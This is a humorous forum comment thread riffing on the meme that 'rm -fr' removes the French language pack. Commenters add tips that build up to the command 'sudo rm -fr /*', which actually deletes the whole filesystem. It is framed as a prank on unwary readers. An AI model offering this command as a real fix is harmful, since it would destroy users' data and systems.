    Although I'm French, I still laugh at the stupid memes by the English speaking internet that make fun of my people. Then again, there is a sense of justice in imagining people falling for this. ๐Ÿ˜

    This is very much the Linux version of the old tricking gamers to alt+F4 gag.

    My favorite was when I was teaching a friend Squad, and we were in a vehicle. I explained you hit the F keys to change seat (which is true), so F1, F2, F3, etc. Noticing that seats 1, 2 and 3 were filled, I then told him he can hold down alt to swap seats faster. He then immediately quits the game xD

    Nice try, but we know the French don't speak English.

    Technically this does remove the French language pack.

    I thought this was stupid, how much space could a language pack take? Then I tried it and my system is at least %15 faster, turns out there is a bug in the dialogue disseminator preventing matriarchal ascension in the domestic power structure.

    You do have to add โ€”no-preserve-root though.

    Ever since Napoleon, the Fr*nch have tried to take over Linux to implement their rรฉgime baguette.

    Don't forget to remove the tuber preserves with --no-preserve-root

    [โ€“] [email protected] 20 points 3 days ago

    If you do /* you don't need that flag, as / will technically not get touched. Just everything in it

    Make sure to read the man page before so you don't remove the runtime functions

    I wonder how many people have fallen for this

    [โ€“] [email protected] 37 points 3 days ago

    Whatever it takes to have a fr๐Ÿคฎnch-free system

    remove the "." to adress the root of the problem.

    Pro tip: Omit the dot . before the / to make sure you cleansed the language pack thoroughly.

    [โ€“] [email protected] 29 points 3 days ago* (last edited 3 days ago) (4 children)

    And to avoid annoying error messages about preserving the root of the language, add a * at the end. Final command should look like this:

    sudo rm -fr /*

    So I know nothing and just wandered in here from Top, but this translates as, "Fuck you, all of you, French language, I show you my butthole," right?
